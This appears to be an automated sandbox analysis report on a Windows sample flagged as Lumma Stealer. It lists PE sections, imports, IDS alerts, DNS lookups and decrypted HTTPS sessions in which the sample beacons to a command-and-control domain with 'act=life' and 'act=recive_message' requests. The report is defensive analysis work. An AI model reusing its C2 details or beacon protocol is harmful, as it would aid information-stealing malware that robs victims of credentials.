.CRT	0x921000	0x70	0x200	31fcf38d535a5764601d9a23884969e2	False	0.08203125	data	0.46748837148086453	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_8BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_2048BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.tls	0x922000	0x10	0x200	bf619eac0cdf3f68d496ea9344137e8b	False	0.02734375	data	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_8BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_2048BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x923000	0x4f60	0x5000	4270861923e321a11fb038ba198532fc	False	0.47255859375	data	6.448265657019227	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.reloc	0x928000	0x153b0	0x15400	add0325d735bd28deced8b7d6774eb7d	False	0.21808363970588235	data	5.432523906558254	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0x923130	0x4228	Device independent bitmap graphic, 64 x 128 x 32, image size 16384			0.4964572508266415
RT_GROUP_ICON	0x927358	0x14	data			1.1
RT_VERSION	0x92736c	0x584	data	English	United States	0.24929178470254956
RT_MANIFEST	0x9278f0	0x670	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.40230582524271846

Imports

DLL

Import

KERNEL32.dll

AddAtomA, AddVectoredContinueHandler, AddVectoredExceptionHandler, CloseHandle, CreateEventA, CreateFileA, CreateIoCompletionPort, CreateMutexA, CreateSemaphoreA, CreateThread, CreateWaitableTimerExW, DeleteAtom, DeleteCriticalSection, DuplicateHandle, EnterCriticalSection, ExitProcess, FindAtomA, FormatMessageA, FreeEnvironmentStringsW, GetAtomNameA, GetConsoleMode, GetCurrentProcess, GetCurrentProcessId, GetCurrentThread, GetCurrentThreadId, GetEnvironmentStringsW, GetErrorMode, GetHandleInformation, GetLastError, GetProcAddress, GetProcessAffinityMask, GetQueuedCompletionStatusEx, GetStartupInfoA, GetStdHandle, GetSystemDirectoryA, GetSystemInfo, GetSystemTimeAsFileTime, GetThreadContext, GetThreadPriority, GetTickCount, InitializeCriticalSection, IsDBCSLeadByteEx, IsDebuggerPresent, LeaveCriticalSection, LoadLibraryExW, LoadLibraryW, LocalFree, MultiByteToWideChar, OpenProcess, OutputDebugStringA, PostQueuedCompletionStatus, QueryPerformanceCounter, QueryPerformanceFrequency, RaiseException, RaiseFailFastException, ReleaseMutex, ReleaseSemaphore, RemoveVectoredExceptionHandler, ResetEvent, ResumeThread, RtlLookupFunctionEntry, RtlVirtualUnwind, SetConsoleCtrlHandler, SetErrorMode, SetEvent, SetLastError, SetProcessAffinityMask, SetProcessPriorityBoost, SetThreadContext, SetThreadPriority, SetUnhandledExceptionFilter, SetWaitableTimer, Sleep, SuspendThread, SwitchToThread, TlsAlloc, TlsGetValue, TlsSetValue, TryEnterCriticalSection, VirtualAlloc, VirtualFree, VirtualProtect, VirtualQuery, WaitForMultipleObjects, WaitForSingleObject, WerGetFlags, WerSetFlags, WideCharToMultiByte, WriteConsoleW, WriteFile, __C_specific_handler

msvcrt.dll

___lc_codepage_func, ___mb_cur_max_func, __getmainargs, __initenv, __iob_func, __lconv_init, __set_app_type, __setusermatherr, _acmdln, _amsg_exit, _beginthread, _beginthreadex, _cexit, _commode, _endthreadex, _errno, _fmode, _initterm, _lock, _memccpy, _onexit, _setjmp, _strdup, _ultoa, _unlock, abort, calloc, exit, fprintf, fputc, free, fwrite, localeconv, longjmp, malloc, memcpy, memmove, memset, printf, realloc, signal, strerror, strlen, strncmp, vfprintf, wcslen

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
05/02/24-17:04:31.224285	TCP	2052224	ET TROJAN Observed Lumma Stealer Related Domain (shatterbreathepsw .shop in TLS SNI)	49722	443	192.168.2.6	104.21.95.19
05/02/24-17:04:21.147175	TCP	2052224	ET TROJAN Observed Lumma Stealer Related Domain (shatterbreathepsw .shop in TLS SNI)	49718	443	192.168.2.6	104.21.95.19
05/02/24-17:04:21.035950	UDP	2052217	ET TROJAN Lumma Stealer Related CnC Domain in DNS Lookup (shatterbreathepsw .shop)	51308	53	192.168.2.6	1.1.1.1
05/02/24-17:04:22.766689	TCP	2052224	ET TROJAN Observed Lumma Stealer Related Domain (shatterbreathepsw .shop in TLS SNI)	49719	443	192.168.2.6	104.21.95.19
05/02/24-17:04:32.059166	TCP	2052224	ET TROJAN Observed Lumma Stealer Related Domain (shatterbreathepsw .shop in TLS SNI)	49723	443	192.168.2.6	104.21.95.19
05/02/24-17:04:34.127001	TCP	2052224	ET TROJAN Observed Lumma Stealer Related Domain (shatterbreathepsw .shop in TLS SNI)	49726	443	192.168.2.6	104.21.95.19
05/02/24-17:04:24.741485	TCP	2052224	ET TROJAN Observed Lumma Stealer Related Domain (shatterbreathepsw .shop in TLS SNI)	49720	443	192.168.2.6	104.21.95.19
05/02/24-17:04:32.842406	TCP	2052224	ET TROJAN Observed Lumma Stealer Related Domain (shatterbreathepsw .shop in TLS SNI)	49724	443	192.168.2.6	104.21.95.19
05/02/24-17:04:25.682174	TCP	2052224	ET TROJAN Observed Lumma Stealer Related Domain (shatterbreathepsw .shop in TLS SNI)	49721	443	192.168.2.6	104.21.95.19

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
May 2, 2024 17:04:21.141778946 CEST	49718	443	192.168.2.6	104.21.95.19
May 2, 2024 17:04:21.141818047 CEST	443	49718	104.21.95.19	192.168.2.6
May 2, 2024 17:04:21.141904116 CEST	49718	443	192.168.2.6	104.21.95.19
May 2, 2024 17:04:21.147175074 CEST	49718	443	192.168.2.6	104.21.95.19
May 2, 2024 17:04:21.147202969 CEST	443	49718	104.21.95.19	192.168.2.6
May 2, 2024 17:04:21.558207989 CEST	443	49718	104.21.95.19	192.168.2.6
May 2, 2024 17:04:21.558293104 CEST	49718	443	192.168.2.6	104.21.95.19
May 2, 2024 17:04:21.562489986 CEST	49718	443	192.168.2.6	104.21.95.19
May 2, 2024 17:04:21.562499046 CEST	443	49718	104.21.95.19	192.168.2.6
May 2, 2024 17:04:21.562834024 CEST	443	49718	104.21.95.19	192.168.2.6
May 2, 2024 17:04:21.610850096 CEST	49718	443	192.168.2.6	104.21.95.19
May 2, 2024 17:04:21.673034906 CEST	49718	443	192.168.2.6	104.21.95.19
May 2, 2024 17:04:21.673065901 CEST	49718	443	192.168.2.6	104.21.95.19
May 2, 2024 17:04:21.673191071 CEST	443	49718	104.21.95.19	192.168.2.6
May 2, 2024 17:04:22.756299973 CEST	443	49718	104.21.95.19	192.168.2.6
May 2, 2024 17:04:22.756385088 CEST	443	49718	104.21.95.19	192.168.2.6
May 2, 2024 17:04:22.756452084 CEST	49718	443	192.168.2.6	104.21.95.19
May 2, 2024 17:04:22.760368109 CEST	49718	443	192.168.2.6	104.21.95.19
May 2, 2024 17:04:22.760382891 CEST	443	49718	104.21.95.19	192.168.2.6
May 2, 2024 17:04:22.766140938 CEST	49719	443	192.168.2.6	104.21.95.19
May 2, 2024 17:04:22.766171932 CEST	443	49719	104.21.95.19	192.168.2.6
May 2, 2024 17:04:22.766338110 CEST	49719	443	192.168.2.6	104.21.95.19
May 2, 2024 17:04:22.766689062 CEST	49719	443	192.168.2.6	104.21.95.19
May 2, 2024 17:04:22.766700983 CEST	443	49719	104.21.95.19	192.168.2.6
May 2, 2024 17:04:22.957740068 CEST	443	49719	104.21.95.19	192.168.2.6
May 2, 2024 17:04:22.957808018 CEST	49719	443	192.168.2.6	104.21.95.19
May 2, 2024 17:04:22.959384918 CEST	49719	443	192.168.2.6	104.21.95.19
May 2, 2024 17:04:22.959388971 CEST	443	49719	104.21.95.19	192.168.2.6
May 2, 2024 17:04:22.959625006 CEST	443	49719	104.21.95.19	192.168.2.6
May 2, 2024 17:04:22.961633921 CEST	49719	443	192.168.2.6	104.21.95.19
May 2, 2024 17:04:22.961652040 CEST	49719	443	192.168.2.6	104.21.95.19
May 2, 2024 17:04:22.961698055 CEST	443	49719	104.21.95.19	192.168.2.6
May 2, 2024 17:04:23.474091053 CEST	443	49719	104.21.95.19	192.168.2.6
May 2, 2024 17:04:23.474143028 CEST	443	49719	104.21.95.19	192.168.2.6
May 2, 2024 17:04:23.474169970 CEST	443	49719	104.21.95.19	192.168.2.6
May 2, 2024 17:04:23.474191904 CEST	443	49719	104.21.95.19	192.168.2.6
May 2, 2024 17:04:23.474209070 CEST	49719	443	192.168.2.6	104.21.95.19
May 2, 2024 17:04:23.474237919 CEST	443	49719	104.21.95.19	192.168.2.6
May 2, 2024 17:04:23.474251032 CEST	49719	443	192.168.2.6	104.21.95.19
May 2, 2024 17:04:23.474442959 CEST	443	49719	104.21.95.19	192.168.2.6
May 2, 2024 17:04:23.474473000 CEST	443	49719	104.21.95.19	192.168.2.6
May 2, 2024 17:04:23.474486113 CEST	49719	443	192.168.2.6	104.21.95.19
May 2, 2024 17:04:23.474492073 CEST	443	49719	104.21.95.19	192.168.2.6
May 2, 2024 17:04:23.474530935 CEST	49719	443	192.168.2.6	104.21.95.19
May 2, 2024 17:04:23.474651098 CEST	443	49719	104.21.95.19	192.168.2.6
May 2, 2024 17:04:23.474705935 CEST	443	49719	104.21.95.19	192.168.2.6
May 2, 2024 17:04:23.474745989 CEST	49719	443	192.168.2.6	104.21.95.19
May 2, 2024 17:04:23.474750996 CEST	443	49719	104.21.95.19	192.168.2.6
May 2, 2024 17:04:23.474792004 CEST	443	49719	104.21.95.19	192.168.2.6
May 2, 2024 17:04:23.474828959 CEST	443	49719	104.21.95.19	192.168.2.6
May 2, 2024 17:04:23.474833012 CEST	49719	443	192.168.2.6	104.21.95.19
May 2, 2024 17:04:23.474838018 CEST	443	49719	104.21.95.19	192.168.2.6
May 2, 2024 17:04:23.474879980 CEST	49719	443	192.168.2.6	104.21.95.19
May 2, 2024 17:04:23.474961996 CEST	443	49719	104.21.95.19	192.168.2.6
May 2, 2024 17:04:23.475014925 CEST	443	49719	104.21.95.19	192.168.2.6
May 2, 2024 17:04:23.475061893 CEST	49719	443	192.168.2.6	104.21.95.19
May 2, 2024 17:04:24.561712980 CEST	49719	443	192.168.2.6	104.21.95.19
May 2, 2024 17:04:24.561749935 CEST	443	49719	104.21.95.19	192.168.2.6
May 2, 2024 17:04:24.561763048 CEST	49719	443	192.168.2.6	104.21.95.19
May 2, 2024 17:04:24.561769962 CEST	443	49719	104.21.95.19	192.168.2.6
May 2, 2024 17:04:24.740978956 CEST	49720	443	192.168.2.6	104.21.95.19
May 2, 2024 17:04:24.741014004 CEST	443	49720	104.21.95.19	192.168.2.6
May 2, 2024 17:04:24.741091013 CEST	49720	443	192.168.2.6	104.21.95.19
May 2, 2024 17:04:24.741485119 CEST	49720	443	192.168.2.6	104.21.95.19
May 2, 2024 17:04:24.741498947 CEST	443	49720	104.21.95.19	192.168.2.6
May 2, 2024 17:04:24.935204983 CEST	443	49720	104.21.95.19	192.168.2.6
May 2, 2024 17:04:24.935352087 CEST	49720	443	192.168.2.6	104.21.95.19
May 2, 2024 17:04:24.936789989 CEST	49720	443	192.168.2.6	104.21.95.19
May 2, 2024 17:04:24.936799049 CEST	443	49720	104.21.95.19	192.168.2.6
May 2, 2024 17:04:24.937041044 CEST	443	49720	104.21.95.19	192.168.2.6
May 2, 2024 17:04:24.938534975 CEST	49720	443	192.168.2.6	104.21.95.19
May 2, 2024 17:04:24.938692093 CEST	49720	443	192.168.2.6	104.21.95.19
May 2, 2024 17:04:24.938719988 CEST	443	49720	104.21.95.19	192.168.2.6
May 2, 2024 17:04:25.419720888 CEST	443	49720	104.21.95.19	192.168.2.6
May 2, 2024 17:04:25.419821978 CEST	443	49720	104.21.95.19	192.168.2.6
May 2, 2024 17:04:25.419877052 CEST	49720	443	192.168.2.6	104.21.95.19
May 2, 2024 17:04:25.444894075 CEST	49720	443	192.168.2.6	104.21.95.19
May 2, 2024 17:04:25.444916010 CEST	443	49720	104.21.95.19	192.168.2.6
May 2, 2024 17:04:25.681627989 CEST	49721	443	192.168.2.6	104.21.95.19
May 2, 2024 17:04:25.681714058 CEST	443	49721	104.21.95.19	192.168.2.6
May 2, 2024 17:04:25.681799889 CEST	49721	443	192.168.2.6	104.21.95.19
May 2, 2024 17:04:25.682173967 CEST	49721	443	192.168.2.6	104.21.95.19
May 2, 2024 17:04:25.682200909 CEST	443	49721	104.21.95.19	192.168.2.6
May 2, 2024 17:04:26.296406031 CEST	443	49721	104.21.95.19	192.168.2.6
May 2, 2024 17:04:26.296516895 CEST	49721	443	192.168.2.6	104.21.95.19
May 2, 2024 17:04:26.297916889 CEST	49721	443	192.168.2.6	104.21.95.19
May 2, 2024 17:04:26.297941923 CEST	443	49721	104.21.95.19	192.168.2.6
May 2, 2024 17:04:26.298245907 CEST	443	49721	104.21.95.19	192.168.2.6
May 2, 2024 17:04:26.299654961 CEST	49721	443	192.168.2.6	104.21.95.19
May 2, 2024 17:04:26.299863100 CEST	49721	443	192.168.2.6	104.21.95.19
May 2, 2024 17:04:26.299901009 CEST	443	49721	104.21.95.19	192.168.2.6
May 2, 2024 17:04:26.299957991 CEST	49721	443	192.168.2.6	104.21.95.19
May 2, 2024 17:04:26.299971104 CEST	443	49721	104.21.95.19	192.168.2.6
May 2, 2024 17:04:27.582772970 CEST	443	49721	104.21.95.19	192.168.2.6
May 2, 2024 17:04:27.582920074 CEST	443	49721	104.21.95.19	192.168.2.6
May 2, 2024 17:04:27.583009958 CEST	49721	443	192.168.2.6	104.21.95.19
May 2, 2024 17:04:27.584614038 CEST	49721	443	192.168.2.6	104.21.95.19
May 2, 2024 17:04:27.584654093 CEST	443	49721	104.21.95.19	192.168.2.6
May 2, 2024 17:04:31.223807096 CEST	49722	443	192.168.2.6	104.21.95.19
May 2, 2024 17:04:31.223836899 CEST	443	49722	104.21.95.19	192.168.2.6
May 2, 2024 17:04:31.223906994 CEST	49722	443	192.168.2.6	104.21.95.19
May 2, 2024 17:04:31.224284887 CEST	49722	443	192.168.2.6	104.21.95.19
May 2, 2024 17:04:31.224299908 CEST	443	49722	104.21.95.19	192.168.2.6
May 2, 2024 17:04:31.413702965 CEST	443	49722	104.21.95.19	192.168.2.6
May 2, 2024 17:04:31.413820028 CEST	49722	443	192.168.2.6	104.21.95.19
May 2, 2024 17:04:31.417568922 CEST	49722	443	192.168.2.6	104.21.95.19
May 2, 2024 17:04:31.417574883 CEST	443	49722	104.21.95.19	192.168.2.6
May 2, 2024 17:04:31.417809010 CEST	443	49722	104.21.95.19	192.168.2.6
May 2, 2024 17:04:31.419255972 CEST	49722	443	192.168.2.6	104.21.95.19
May 2, 2024 17:04:31.419549942 CEST	49722	443	192.168.2.6	104.21.95.19
May 2, 2024 17:04:31.419579983 CEST	443	49722	104.21.95.19	192.168.2.6
May 2, 2024 17:04:31.419677019 CEST	49722	443	192.168.2.6	104.21.95.19
May 2, 2024 17:04:31.419687033 CEST	443	49722	104.21.95.19	192.168.2.6
May 2, 2024 17:04:31.967907906 CEST	443	49722	104.21.95.19	192.168.2.6
May 2, 2024 17:04:31.968025923 CEST	443	49722	104.21.95.19	192.168.2.6
May 2, 2024 17:04:31.968090057 CEST	49722	443	192.168.2.6	104.21.95.19
May 2, 2024 17:04:31.968394995 CEST	49722	443	192.168.2.6	104.21.95.19
May 2, 2024 17:04:31.968406916 CEST	443	49722	104.21.95.19	192.168.2.6
May 2, 2024 17:04:32.058706999 CEST	49723	443	192.168.2.6	104.21.95.19
May 2, 2024 17:04:32.058739901 CEST	443	49723	104.21.95.19	192.168.2.6
May 2, 2024 17:04:32.058819056 CEST	49723	443	192.168.2.6	104.21.95.19
May 2, 2024 17:04:32.059165955 CEST	49723	443	192.168.2.6	104.21.95.19
May 2, 2024 17:04:32.059180021 CEST	443	49723	104.21.95.19	192.168.2.6
May 2, 2024 17:04:32.251857996 CEST	443	49723	104.21.95.19	192.168.2.6
May 2, 2024 17:04:32.251959085 CEST	49723	443	192.168.2.6	104.21.95.19
May 2, 2024 17:04:32.254769087 CEST	49723	443	192.168.2.6	104.21.95.19
May 2, 2024 17:04:32.254775047 CEST	443	49723	104.21.95.19	192.168.2.6
May 2, 2024 17:04:32.255543947 CEST	443	49723	104.21.95.19	192.168.2.6
May 2, 2024 17:04:32.256735086 CEST	49723	443	192.168.2.6	104.21.95.19
May 2, 2024 17:04:32.256918907 CEST	49723	443	192.168.2.6	104.21.95.19
May 2, 2024 17:04:32.256944895 CEST	443	49723	104.21.95.19	192.168.2.6
May 2, 2024 17:04:32.755954027 CEST	443	49723	104.21.95.19	192.168.2.6
May 2, 2024 17:04:32.756072044 CEST	443	49723	104.21.95.19	192.168.2.6
May 2, 2024 17:04:32.756118059 CEST	49723	443	192.168.2.6	104.21.95.19
May 2, 2024 17:04:32.756289959 CEST	49723	443	192.168.2.6	104.21.95.19
May 2, 2024 17:04:32.756300926 CEST	443	49723	104.21.95.19	192.168.2.6
May 2, 2024 17:04:32.841825008 CEST	49724	443	192.168.2.6	104.21.95.19
May 2, 2024 17:04:32.841878891 CEST	443	49724	104.21.95.19	192.168.2.6
May 2, 2024 17:04:32.841959000 CEST	49724	443	192.168.2.6	104.21.95.19
May 2, 2024 17:04:32.842406034 CEST	49724	443	192.168.2.6	104.21.95.19
May 2, 2024 17:04:32.842422962 CEST	443	49724	104.21.95.19	192.168.2.6
May 2, 2024 17:04:33.030770063 CEST	443	49724	104.21.95.19	192.168.2.6
May 2, 2024 17:04:33.030834913 CEST	49724	443	192.168.2.6	104.21.95.19
May 2, 2024 17:04:33.032361031 CEST	49724	443	192.168.2.6	104.21.95.19
May 2, 2024 17:04:33.032368898 CEST	443	49724	104.21.95.19	192.168.2.6
May 2, 2024 17:04:33.032598019 CEST	443	49724	104.21.95.19	192.168.2.6
May 2, 2024 17:04:33.034034014 CEST	49724	443	192.168.2.6	104.21.95.19
May 2, 2024 17:04:33.034149885 CEST	49724	443	192.168.2.6	104.21.95.19
May 2, 2024 17:04:33.034156084 CEST	443	49724	104.21.95.19	192.168.2.6
May 2, 2024 17:04:33.501748085 CEST	443	49724	104.21.95.19	192.168.2.6
May 2, 2024 17:04:33.501871109 CEST	443	49724	104.21.95.19	192.168.2.6
May 2, 2024 17:04:33.501940012 CEST	49724	443	192.168.2.6	104.21.95.19
May 2, 2024 17:04:33.502104044 CEST	49724	443	192.168.2.6	104.21.95.19
May 2, 2024 17:04:33.502126932 CEST	443	49724	104.21.95.19	192.168.2.6
May 2, 2024 17:04:34.126347065 CEST	49726	443	192.168.2.6	104.21.95.19
May 2, 2024 17:04:34.126384974 CEST	443	49726	104.21.95.19	192.168.2.6
May 2, 2024 17:04:34.126491070 CEST	49726	443	192.168.2.6	104.21.95.19
May 2, 2024 17:04:34.127001047 CEST	49726	443	192.168.2.6	104.21.95.19
May 2, 2024 17:04:34.127015114 CEST	443	49726	104.21.95.19	192.168.2.6
May 2, 2024 17:04:34.765595913 CEST	443	49726	104.21.95.19	192.168.2.6
May 2, 2024 17:04:34.765682936 CEST	49726	443	192.168.2.6	104.21.95.19
May 2, 2024 17:04:34.767190933 CEST	49726	443	192.168.2.6	104.21.95.19
May 2, 2024 17:04:34.767200947 CEST	443	49726	104.21.95.19	192.168.2.6
May 2, 2024 17:04:34.767847061 CEST	443	49726	104.21.95.19	192.168.2.6
May 2, 2024 17:04:34.769098043 CEST	49726	443	192.168.2.6	104.21.95.19
May 2, 2024 17:04:34.769958019 CEST	49726	443	192.168.2.6	104.21.95.19
May 2, 2024 17:04:34.769988060 CEST	443	49726	104.21.95.19	192.168.2.6
May 2, 2024 17:04:34.770071983 CEST	49726	443	192.168.2.6	104.21.95.19
May 2, 2024 17:04:34.770103931 CEST	443	49726	104.21.95.19	192.168.2.6
May 2, 2024 17:04:34.770229101 CEST	49726	443	192.168.2.6	104.21.95.19
May 2, 2024 17:04:34.770288944 CEST	443	49726	104.21.95.19	192.168.2.6
May 2, 2024 17:04:34.770405054 CEST	49726	443	192.168.2.6	104.21.95.19
May 2, 2024 17:04:34.770431995 CEST	443	49726	104.21.95.19	192.168.2.6
May 2, 2024 17:04:34.770562887 CEST	49726	443	192.168.2.6	104.21.95.19
May 2, 2024 17:04:34.770590067 CEST	443	49726	104.21.95.19	192.168.2.6
May 2, 2024 17:04:34.770709038 CEST	49726	443	192.168.2.6	104.21.95.19
May 2, 2024 17:04:34.770734072 CEST	443	49726	104.21.95.19	192.168.2.6
May 2, 2024 17:04:34.770751953 CEST	49726	443	192.168.2.6	104.21.95.19
May 2, 2024 17:04:34.770852089 CEST	49726	443	192.168.2.6	104.21.95.19
May 2, 2024 17:04:34.770879030 CEST	49726	443	192.168.2.6	104.21.95.19
May 2, 2024 17:04:34.816128969 CEST	443	49726	104.21.95.19	192.168.2.6
May 2, 2024 17:04:34.816301107 CEST	49726	443	192.168.2.6	104.21.95.19
May 2, 2024 17:04:34.816342115 CEST	49726	443	192.168.2.6	104.21.95.19
May 2, 2024 17:04:34.816368103 CEST	49726	443	192.168.2.6	104.21.95.19
May 2, 2024 17:04:34.860126019 CEST	443	49726	104.21.95.19	192.168.2.6
May 2, 2024 17:04:34.860280991 CEST	49726	443	192.168.2.6	104.21.95.19
May 2, 2024 17:04:34.860327005 CEST	49726	443	192.168.2.6	104.21.95.19
May 2, 2024 17:04:34.860348940 CEST	49726	443	192.168.2.6	104.21.95.19
May 2, 2024 17:04:34.908118963 CEST	443	49726	104.21.95.19	192.168.2.6
May 2, 2024 17:04:34.908205986 CEST	49726	443	192.168.2.6	104.21.95.19
May 2, 2024 17:04:34.952131033 CEST	443	49726	104.21.95.19	192.168.2.6
May 2, 2024 17:04:35.701798916 CEST	443	49726	104.21.95.19	192.168.2.6
May 2, 2024 17:04:38.847381115 CEST	443	49726	104.21.95.19	192.168.2.6
May 2, 2024 17:04:38.847511053 CEST	443	49726	104.21.95.19	192.168.2.6
May 2, 2024 17:04:38.847583055 CEST	49726	443	192.168.2.6	104.21.95.19
May 2, 2024 17:04:38.847727060 CEST	49726	443	192.168.2.6	104.21.95.19
May 2, 2024 17:04:38.847747087 CEST	443	49726	104.21.95.19	192.168.2.6

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
May 2, 2024 17:04:21.035949945 CEST	51308	53	192.168.2.6	1.1.1.1
May 2, 2024 17:04:21.134630919 CEST	53	51308	1.1.1.1	192.168.2.6

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
May 2, 2024 17:04:21.035949945 CEST	192.168.2.6	1.1.1.1	0x7b2b	Standard query (0)	shatterbreathepsw.shop	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
May 2, 2024 17:04:21.134630919 CEST	1.1.1.1	192.168.2.6	0x7b2b	No error (0)	shatterbreathepsw.shop		104.21.95.19	A (IP address)	IN (0x0001)	false
May 2, 2024 17:04:21.134630919 CEST	1.1.1.1	192.168.2.6	0x7b2b	No error (0)	shatterbreathepsw.shop		172.67.169.43	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

shatterbreathepsw.shop

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49718	104.21.95.19	443	7060	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-02 15:04:21 UTC	269	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: shatterbreathepsw.shop
2024-05-02 15:04:21 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-05-02 15:04:22 UTC	806	IN	HTTP/1.1 200 OK Date: Thu, 02 May 2024 15:04:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=dtfar21nn9shiefnjmdmm6ismp; expires=Mon, 26-Aug-2024 08:51:01 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=yCNxCskk87i9Vhd74gsbmEQCnwBdDdMpxb1dx33KGQqEbHIB5XYclMwaWgqZM7ppmEadtq6Y95uFJL%2B%2FW1Sh%2FgzuxXJ9NobovWMMTnqohQ3wfcpkuxPneCslPKYSYQI15vQUGdPB%2B4GK"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87d8e740cce864f0-GIG alt-svc: h3=":443"; ma=86400
2024-05-02 15:04:22 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-05-02 15:04:22 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49719	104.21.95.19	443	7060	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-02 15:04:22 UTC	270	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 56 Host: shatterbreathepsw.shop
2024-05-02 15:04:22 UTC	56	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 78 70 73 47 56 46 2d 2d 47 45 49 52 4f 50 41 26 6a 3d 64 65 66 61 75 6c 74 Data Ascii: act=recive_message&ver=4.0&lid=xpsGVF--GEIROPA&j=default
2024-05-02 15:04:23 UTC	806	IN	HTTP/1.1 200 OK Date: Thu, 02 May 2024 15:04:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=9pghrtbdj0hfmgc2l52cd9mkj2; expires=Mon, 26-Aug-2024 08:51:02 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=JADYYFdES6CR27WWCHagA7Stn%2F5Gks4JT6ECguS8XjiQM4EKVcghtbwtKa%2BJ78bEgXU2NGEDUgiCyqeJMpxMEGZb6%2F7KxYKCk1aqBWr6vvsqnAsdrjSmi0rAWcjicrY8%2FEVDR5InCpW6"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87d8e74898148c17-EWR alt-svc: h3=":443"; ma=86400
